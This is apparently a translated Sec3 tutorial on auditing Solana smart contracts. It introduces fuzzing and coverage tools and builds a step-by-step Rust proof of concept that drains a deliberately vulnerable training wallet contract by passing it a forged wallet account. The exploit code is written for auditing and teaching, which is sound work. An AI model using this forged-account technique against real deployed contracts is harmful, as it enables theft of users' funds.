如何审计Solana智能合约第三部分:渗透测试

  • Sec3dev
  • 发布于 2021-12-09 17:28
  • 阅读 29

本文介绍了如何审计Solana智能合约中的漏洞,重点是使用渗透测试工具检测Rust程序的安全性。详细说明了Solana PoC框架、fuzz测试工具及代码覆盖率工具的使用,通过具体实例展示了如何利用已知漏洞构建PoC进行攻击,以及进行正常用户交互的步骤,帮助读者理解智能合约的安全评估。

在本文中,我们介绍了一些渗透测试工具,以帮助检测 Solana 或 Rust 程序中的漏洞。

  • Solana PoC Framework:一个用于创建 Solana 智能合约 PoC 的框架,由 Neodyme 开发。
  • afl.rs : 基于 AFL 的 Rust 程序模糊测试工具。
  • cargo-fuzz : 用于通过 libFuzzer 和 LLVM sanitizers 进行模糊测试的 cargo 子命令。
  • cargo-tarpaulin : 用于 Rust 项目的代码覆盖报告工具。

Solana PoC Framework

poc-framework 提供了一种方便的方式,在本地环境中模拟交易。为了说明其用法,我们将使用 Neodyme 提供的示例 在 Github 上。

1*4tSJJcwGicI8AWR_i7O_pA.png (1416×758)

level0 合约中的 withdraw 函数有一个已知的漏洞

我们首先运行 x-ray -analyzeAll . 来获取潜在漏洞的列表,然后使用 poc-framework 来构造漏洞利用工具。特别是,X-Ray 报告了以下问题:

漏洞:X-Ray 报告的 level0 中的不可信钱包账户

事实上,这是 level0 合约中一个已知的漏洞(第 104 行缺少所有权检查)。在接下来的三个步骤中,我们将构造一个 PoC 来利用这个漏洞。

第一步:初始化合同状态(所有者)

要开发 PoC,第一步是设置合同状态,这通常包括在区块链上部署合同、创建必要的合同账户,并调用交易以初始化合同状态。

1*vwYxg6grXEfW5UJOnwjjNw.png (1898×526)

更具体地说,要调用初始化函数(第 21 行),我们需要准备三个参数:program_idaccountsinstruction_dataprogram_id 是显而易见的:它是已部署合约的公钥。

然而,其他两个参数必须有适当的数据内容,以满足初始化函数中的条件(第 27 行)。

  • accounts 向量至少包含五个账户,顺序如下:wallet_infovault_infoauthority_inforent_infosystem_program。第五个账户由 system_instruction::create_account 使用(第 46 和 58 行)。
  • 账户之间有关系(由 assert_eq! 第 42 行强制执行):wallet_info.key == wallet_address,而 wallet_address 是由 program_idauthority_info.key 确定的 程序派生地址(PDA)
  • 钱包账户的数据是空的(在第 43 行由 assert!(wallet_info.data_is_empty()) 强制执行)。

1*EhAzKagnS48vyICbLeHKRw.png (1836×822)

为了达到我们的目标,有三个步骤:

1. 使用 poc_framework 创建三个账户:一个用于权限,一个用户,一个黑客:

let authority = poc_framework::keypair(0);
let user = poc_framework::keypair(1);
let hacker = poc_framework::keypair(2);
let authority_address = authority.pubkey();
let user_address = user.pubkey();
let hacker_address = hacker.pubkey();

2. 使用 poc_framework 本地环境部署合约(level0.so),并添加上述三个账户,每个账户初始化为 1.0 sol:

let path = "./target/deploy/level0.so";
let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
let amount_1sol = sol_to_lamports(1.0);
let mut env = poc_framework::LocalEnvironment::builder()
.add_program(wallet_program, path)
.add_account_with_lamports(authority_address, system_program::id(), amount_1sol)
.add_account_with_lamports(user_address, system_program::id(), amount_1sol)
.add_account_with_lamports(hacker_address, system_program::id(), amount_1sol)
.build();

3. 构造一个带有三个参数的指令,然后在 poc_framework 本地环境中执行交易:

env.execute_as_transaction(&[Instruction {\
    program_id: wallet_program,\
    accounts: vec![\
        AccountMeta::new(wallet_address, false),\
        AccountMeta::new(vault_address, false),\
        AccountMeta::new(authority_address, true),\
        AccountMeta::new_readonly(sysvar::rent::id(), false),\
        AccountMeta::new_readonly(system_program::id(), false),\
    ],\
    data: WalletInstruction::Initialize.try_to_vec().unwrap(),\
}], &[&authority]).print();

注意 wallet_addressvault_address 是通过 Pubkey::find_program_address(第 33–38 行)构造的 PDA

let (wallet_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes()],
                                                       &wallet_program);
let (vault_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes(),\
                                                        &"VAULT".as_bytes()],
                                                      &wallet_program);

现在第一步完成。这一步通常由具有某些权限的合约所有者执行,对于 PoC,我们假设这一切都正确完成。

运行代码将生成以下日志:

1*UMKmGbKHPaBEzvhjouRH6g.png (2036×1402)

第二步:构建正常用户交互(用户)

此时,vault 账户几乎没有资金(除去 0.00089088 sol 的免租金费用)。在第二步中,我们将创建一个交易以调用存款函数,将资金转移到 vault 账户。此步骤可以概括为模拟任何正常用户与合同的交互。

1*0suZXDnGgJV2yCVMVEPcng.png (2418×620)

在上述存款函数中,accounts 向量包括四个账户:walletvaultsource(用于转账的用户账户)和 system_program(由 system_instruction::transfer 第 95 行使用)。

转账金额是传递给 WalletInstruction::Deposit {amount} 的参数。

然后,我们可以用这些参数构造一个指令,再次使用 poc_framework 执行一个交易:

env.execute_as_transaction(&[Instruction {\
    program_id: wallet_program,\
    accounts: vec![\
      AccountMeta::new(wallet_address, false),\
      AccountMeta::new(vault_address, false),\
      AccountMeta::new(user_address, true),\
      AccountMeta::new_readonly(system_program::id(), false)\
    ],\
    data: WalletInstruction::Deposit {\
          amount: amount_1sol}.try_to_vec().unwrap()\
}],&[&user]).print();

现在,第二步完成。运行代码将生成以下日志。注意 vault 账户现在有 1.00089088 sol。我们刚刚成功转移 1 sol。

1*Y9v7Vb7FGEBtOqJLC9IsFg.png (2038×1206)

第三步:发起攻击(黑客)

最后,我们即将完成漏洞利用,创建一个指令来模拟黑客的行为。在这种情况下,目标是调用 withdraw 函数,将资金从 vault 账户转移到黑客账户。

1*fke53NYmkjvyj83wywhKOw.png (1880×870)

根据 X-Ray 报告,回忆一下钱包账户是不可信的(第 104 行)。这意味着黑客可能创建一个假钱包账户以调用 withdraw 函数。要成功盗取资金(第 119 行),假钱包账户和其他输入必须满足以下条件:

1. wallet.authority 字段必须与 authority_info 账户密钥相同(由 assert_eq! 第 111 行强制执行):

assert_eq!(wallet.authority, *authority_info.key)

2. wallet.vault 字段必须与 vault 账户密钥相同(由 assert_eq! 第 112 行强制执行):

assert_eq!(wallet.vault, *vault_info.key);

3. withdraw amount 不能大于 vault 账户内的资金:

if amount > **vault_info.lamports.borrow_mut()

4. 此外,必须签署权限账户(由 assert! 第 110 行强制执行):

assert!(authority_info.is_signer)

为了满足这个条件,黑客也可以提供一个假权威账户,例如,使用他们自己的黑客账户并签署交易。

考虑到所有这些约束,我们可以构造一个虚假的钱包账户,以黑客地址作为假权限字段:

let hack_wallet = Wallet {
    authority: hacker_address,
    vault: vault_address
};
let mut hack_wallet_data: Vec<u8> = vec![];
hack_wallet.serialize(&mut hack_wallet_data).unwrap();

我们使用 poc_framework 在 LocalEnvironment 中创建一个假钱包账户:

let fake_wallet = poc_framework::keypair(4);
let fake_wallet_address = fake_wallet.pubkey();
env.create_account_with_data(&fake_wallet, hack_wallet_data);

然后,我们可以创建一个交易以调用 withdraw 指令:

env.execute_as_transaction(&[Instruction {\
    program_id: wallet_program,\
    accounts: vec![\
        AccountMeta::new(fake_wallet_address, false),\
        AccountMeta::new(vault_address, false),\
        AccountMeta::new(hacker_address, true),\
        AccountMeta::new(hacker_address, false)\
    ],\
    data: WalletInstruction::Withdraw {\
              amount: amount_to_steal }.try_to_vec().unwrap(),\
}], &[&hacker]).print();

在上述代码中,amount_to_steal 可以设置为 vault 中的资金:

let amount_to_steal = env.get_account(vault_address).unwrap().lamports;

将上述所有内容整合在一起,我们已经成功创建了一个 PoC 来利用这个漏洞。运行代码将产生以下日志。注意 vault 账户现在为空,而黑客现在拥有 2.00089088 sol。

1*CYcq3Orzk-xf9QB0a7wQ9Q.png (2024×1046)

接下来会发生什么

在接下来的几篇文章中,我们将继续介绍用于 Solana 智能合约的审计技能,包括 [Anchor]https://learnblockchain.cn/docs/anchor) 开发框架。

如何审核Solana智能合约系列?

  • 原文链接: sec3.dev/blog/how-to-aud...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Sec3dev
Sec3dev
https://www.sec3.dev/